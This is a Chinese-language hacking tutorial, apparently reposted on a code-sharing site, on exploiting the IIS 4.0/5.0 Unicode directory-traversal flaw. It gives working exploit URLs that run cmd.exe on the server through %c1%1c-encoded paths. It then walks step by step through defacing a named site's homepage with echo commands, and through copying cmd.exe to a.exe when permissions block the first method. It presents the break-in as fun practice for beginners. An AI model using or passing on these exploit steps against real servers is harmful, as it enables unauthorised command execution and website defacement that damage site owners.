IIS的Unicode漏洞攻擊


IIS有十多種常見漏洞,但利用得最多的莫過於Unicode解析錯誤漏洞。微軟IIS 4.0/5.0在Unicode字符解碼的實現中存在一個安全漏洞,用戶可以遠程通過IIS執行任意命令。當IIS打開文件時,如果該文件名包含Unicode字符,它會對它進行解碼。如果用戶提供一些特殊的編碼,將導致IIS錯誤地打開或者執行某些Web根目錄以外的文件或程序。我們此文就着重來講講如何利用這個漏洞入侵IIS。

  對於IIS 4.0/5.0中文版,當IIS在收到的URL請求的文件名中,包含一個特殊的編碼例如“%c1%hh”或者“%c0%hh”,它會首先將其解碼變成“0xc10xhh”, 然后嘗試打開這個文件。Windows系統認為“0xc10xhh”可能是Unicode編碼,因此它會首先將其解碼,如果 “0x00<= %hh < 0x40”的話,采用的解碼的格式與下面的類似:

  %c1%hh->(0xc1-0xc0)*0x40+0xhh

  %c0%hh->(0xc0-0xc0)*0x40+0xhh

  因此,利用這種編碼,我們可以構造很多字符,例如:

  %c1%1c->(0xc1-0xc0)*0x40+0x1c=0x5c='/'

  %c0%2f->(0xc0-0xc0)*0x40+0x2f=0x2f='\'

  攻擊者可以利用這個漏洞來繞過IIS的路徑檢查,去執行或者打開任意的文件。此漏洞從中文版IIS4.0+SP6開始,還影響中文版WIN2000+IIS5.0、中文版WIN2000+IIS5.0+SP1。

  在NT4中“/”編碼為“%c1%9c”;在英文版的WIN2000中為“%c0%af”;在中文版的WIN2000里是“%c1%1c”。此外還有多種編碼,不逐一闡述,大家可以查查資料。本文均以WIN2000為例,其他類型請自行替換。

判斷是否存在漏洞

  用該漏洞的掃描器來進行掃描是一種常見的方法。但我們知道,掃描並不是一個真正的黑客攻擊行為,它只是一種尋找入口的方式。IIS的Unicode漏洞掃描器有很多,如RangeScan或者是unicodeScan都可以進行掃描以收集服務器信息。還有些綜合性的掃描軟件除了能發現Unicode漏洞之外,同時還能收集服務器的其它漏洞——X-Scan(下載地址:http://bitscn.com/upload/X-Scan-v3.1-cn.rar)。

  當然也可以在IE瀏覽器中輸入以下語句來進行判斷:

  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  學過DOS的應該可以看懂,其實就是利用當中的非法請求使我們連到system32下,如果Inetpub目錄不和Winnt在同一盤符,或者目錄級數有改動,就可能會引起請求失敗。

  如果存在漏洞,那么在瀏覽區可看到如下類似信息:

  Directory of C:\inetpub\scripts

  2005-03-05 15:49 〈DIR〉 .

  2005-09-05 15:49 〈DIR〉 ..

  是不是有自己機器的感覺了,正點!要的就是這種感覺!

  cmd.exe相當於DOS里的command.com,因此,我們可以執行很多命令了!

  注意:在上面輸入的判斷語句中,“/c”后面的“+”,實際上是空格,請記牢!dir是DOS中的查看文件和目錄命令,不懂DOS的朋友快去學習。

  看了上面的介紹,不用說大家也知道我們可以利用此漏洞對服務器展開攻擊了!

修改網站首頁

1.確定網站首頁名稱

  一般網站默認首頁文件為index.htm、index.html、index.asp、default.htm、defautl.html或default.asp中的一個,我們可以通過輸入不同的首頁名稱來測試並確定要修改的網站首頁。在IE地址欄中輸入以下三個網址:

  http://aa.feedom.net/index.html

  http://aa.feedom.net/default.asp

  http://aa.feedom.net/index.htm

  通過對上面三個網址的測試,我們發現只有第三個網址可以正常打開,說明這個網站的首頁名稱為index.htm。好了,那么我們就修改它吧!

2.修改原理

  最方便的方法是echo法:echo是一個系統命令,主要用於設置回應開關。

  echo test >c:\autoexec.bat就是把test加入autoexec.bat里並刪除原有內容;

  echo timedate >>c:\autoexec.bat就是加入timedate但不刪除原有內容。

  明白了嗎?接下來我們就可以逍遙地修改了。

3.更改網站首頁

  在IE中輸入以下地址:

  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm

  IE瀏覽器返回來的結果可能為以下兩種情況之一:

  1)HTTP 500 - 內部服務器錯誤

  2)The parameter is incorrect

  通過返回信息提示和對CMD的分析,可能是命令語句中參數錯誤,加入"符號再試試:

  1) http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm

  表示把HaHaThisismyhack加入到index.htm文件並刪除原有內容。

  2)http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ by2005-3-9+>>c:\inetpub\wwwroot\index.htm

  表示把by2005-3-9加入到index.htm文件中,但不刪除原有內容。

  如果正常,上面兩條語句的回應應該都為CGI錯誤,這表示語句執行成功了,系統只是程序性地報個錯誤,不用理會它。

  現在再來打開網站aa.feedom.net看看吧,怎么樣了,是不是被你改掉了?在實際操作中,由於目錄權限等網管因素的存在,可能這個方法也會失效,這時,我們就可以用copy cmd.exe 為另一個.exe文件的方式解決,不過要記住路徑,別出錯了,例如:

  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\a.exe

  http://aa.feedom.net/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm

  本文講到的技術比較簡單,很適合初學者研究和學習。也許你通過本文的實例方式,已經能修改我們提供的服務器首頁了,但是在實際操作中,服務器環境必然有變化,而且障礙也許是你未曾研究或接觸過的。所以只有牢牢地掌握了基礎知識才有進階的資本。大家可以根據文中提到的知識點查閱資料輔助學習。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM